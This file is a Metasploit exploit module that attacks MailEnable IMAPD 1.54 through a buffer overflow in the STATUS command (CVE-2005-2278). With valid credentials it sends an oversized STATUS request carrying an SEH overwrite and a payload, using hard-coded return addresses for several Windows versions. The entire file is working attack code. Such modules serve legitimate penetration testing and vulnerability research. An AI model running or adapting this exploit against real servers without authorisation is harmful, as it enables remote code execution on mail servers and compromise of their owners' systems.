##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Imap
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MailEnable IMAPD (1.54) STATUS Request Buffer Overflow',
        'Description' => %q{
          MailEnable's IMAP server contains a buffer overflow
          vulnerability in the STATUS command. With proper
          credentials, this could allow for the execution of arbitrary
          code.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2005-2278'],
          [ 'OSVDB', '17844'],
          [ 'BID', '14243'],
          [ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=19193'],
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'Space' => 450,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          ['MailEnable 1.54 Pro Universal', { 'Rets' => [9273, 0x1001c019] }], # MEAISP.DLL
          ['Windows XP Pro SP0/SP1 English', { 'Rets' => [9273, 0x71aa32ad] }],
          ['Windows 2000 Pro English ALL', { 'Rets' => [9273, 0x75022ac4] }],
          ['Windows 2003 Server English', { 'Rets' => [9273, 0x7ffc0638] }],
        ],
        'DisclosureDate' => '2005-07-13',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def exploit
    connect_login

    seh = generate_seh_payload(target['Rets'][1])
    buf = rand_text_alphanumeric(target['Rets'][0])
    req = "a001 STATUS \".\x00" + buf + seh
    req << "\" (UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)\r\n"
    sock.put(req)

    handler
    disconnect
  end
end
